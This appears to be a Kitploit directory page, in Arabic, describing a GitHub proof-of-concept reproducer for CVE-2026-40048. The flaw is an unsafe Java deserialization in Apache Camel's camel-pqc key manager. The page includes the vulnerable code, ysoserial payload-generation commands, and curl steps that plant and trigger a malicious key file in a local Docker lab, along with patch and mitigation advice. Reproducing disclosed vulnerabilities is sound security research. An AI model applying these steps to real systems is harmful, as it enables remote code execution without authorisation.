Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-40048 — مستنسخ لـ CVE-2026-40048: Apache Camel camel-pqc FileBasedKeyLifecycleManager unsafe deserialization (RCE) | Kitploit
أدوات/GitHubGitHub/oscerd/cve-2026-40048
التحليل الثابتتحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHuboscerd/cve-2026-40048

CVE-2026-40048

مستنسخ لـ CVE-2026-40048: Apache Camel camel-pqc FileBasedKeyLifecycleManager unsafe deserialization (RCE)

منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

camel-pqc مُعيد إنتاج إلغاء التسلسل غير الآمن لـ FileBasedKeyLifecycleManager (CVE-2026-40048)

يُظهر هذا المشروع ثغرة إلغاء تسلسل Java في مكون camel-pqc في Apache Camel، المُتتبعة تحت CVE-2026-40048. يقوم FileBasedKeyLifecycleManager بقراءة ملفات <keyId>.key من دليل المفاتيح المُهيأ باستخدام ObjectInputStream خام وبدون ObjectInputFilter، لذلك يمكن للمهاجم الذي يستطيع الكتابة في ذلك الدليل تحقيق تنفيذ تعليمات برمجية عن بُعد.

إشعار أمني: https://camel.apache.org/security/CVE-2026-40048.html

ملخص الثغرة

الخاصيةالقيمة
المكونcamel-pqc
الفئة المتأثرةorg.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey)
CWECWE-502: إلغاء تسلسل البيانات غير الموثوقة
التأثيرتنفيذ تعليمات برمجية عن بُعد (RCE)
الإصدارات المتأثرةمن 4.18.0 قبل 4.18.2، ومن 4.19.0 قبل 4.20.0
الإصدارات المُصححة4.18.2، 4.20.0
JIRACAMEL-23200
المبلغونAndrea Cosentino (ASF)، Venkatraman Kumar (Securin)

التفاصيل التقنية

يقوم FileBasedKeyLifecycleManager بتخزين مفاتيح ما بعد الكم ككائنات Java متسلسلة في <keyDir>/<keyId>.key. يقوم تحميل مفتاح بإلغاء تسلسل ذلك الملف باستخدام ObjectInputStream خام، ويحدث التحويل إلى KeyPair فقط بعد إرجاع readObject():

root@kitploit:~
// FileBasedKeyLifecycleManager.getKey(keyId) - affected version
Path keyFile = getKeyFile(keyId);   // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
    KeyPair keyPair = (KeyPair) ois.readObject();   // NO ObjectInputFilter — gadget runs before the cast
    ...
}

يمكن للمهاجم الذي يستطيع الكتابة في دليل المفاتيح — عبر اجتياز المسار، أو صلاحيات وحدة تخزين غير مُهيأة بشكل صحيح، أو سلسلة تزويد مفاتيح مُخترقة، أو هجوم الرمز الرابط — زرع كائن متسلسل مُصمم خصيصًا يتم تنفيذه أثناء تحميل دورة حياة مفتاح عادية.

المتطلبات الأساسية

  • Java 17+ و Maven 3.8+ (لبناء الجرة)
  • Docker (لتشغيل المُعيد)
  • ysoserial (لإنشاء الحمولة)

خطوات إعادة الإنتاج

الخطوة 1: بناء الجرة وتشغيل الحاوية

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

الخطوة 2: إنشاء حمولة خبيثة

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# إثبات غير ضار: إنشاء /tmp/pwned. في JDK 21 أضف --add-opens لتوليد أدوات CC:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

الخطوة 3: زرع الحمولة كملف <keyId>.key

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# يكتب البايتات إلى /tmp/pqc-keys/mykey.key داخل الحاوية

الخطوة 4: تشغيل تحميل دورة حياة المفتاح (تنفيذ الأوامر عن بُعد)

root@kitploit:~
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executes
# -> ">>> RCE proof — /tmp/pwned exists: true"

الخطوة 5: تحقق

root@kitploit:~
docker exec cve-2026-40048 ls -la /tmp/pwned

التنظيف

root@kitploit:~
docker compose down

نواقل الهجوم

يتم استدعاء getKey() أثناء عمليات دورة حياة المفتاح العادية (استرجاع مفتاح التوقيع/التحقق، فحوصات التدوير، إلخ)، لذلك أي تحميل لملف <keyId>.key مزروع من قبل المهاجم يُشغل إلغاء التسلسل.

شروط الاستغلال

  1. حق الوصول للكتابة إلى دليل المفاتيح المستخدم بواسطة FileBasedKeyLifecycleManager (وحدة تخزين مشتركة/غير مُهيأة بشكل صحيح، اجتياز المسار، تزويد مُخترق، رابط رمزي).
  2. مكتبة أدوات في مسار الفئات (مثل commons-collections:3.2.1).

ثغرات مرتبطة لاحقة

تم معالجة نمط ObjectInputStream في مخزن المفاتيح بشكل أوسع لاحقًا:

  • CVE-2026-46590 — مديرو HashiCorp Vault و AWS Secrets Manager المرتبطون (متابعة علاج غير مكتمل).
  • CVE-2026-43867 — تقرير مستقل عن نفس مسار AWS Secrets Manager.

الإصلاح المُوصى به

قم بالترقية إلى 4.18.2 / 4.20.0. يقوم الإصلاح باستبدال التخزين القائم على ObjectInputStream بترميز JSON Base64 قياسي لـ PKCS#8 (المفتاح الخاص) / X.509 SubjectPublicKeyInfo (المفتاح العام).

التخفيف

حتى الترقية:

  1. قم بتقييد حق الكتابة إلى دليل المفاتيح بهوية التطبيق نفسه.
  2. قم بإزالة مكتبات الأدوات (قم بترقية/إزالة commons-collections 3.x).
  3. احتفظ بمواد المفاتيح على وحدة تخزين لا يمكن لأي كيان أقل ثقة الكتابة عليها.

الملفات

root@kitploit:~
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   └── ExploitController.java   # /inject (زرع .key), /trigger (getKey -> RCE), /cleanup
    └── resources/
        └── application.properties

إخلاء مسؤولية

هذا المُعيد مُقدم لأغراض البحث الأمني والاختبار المصرح به فقط، لثغرة مُعلنة ومُصححة علنًا. لا تستخدمه ضد أنظمة دون إذن صريح.

تنزيل الأداة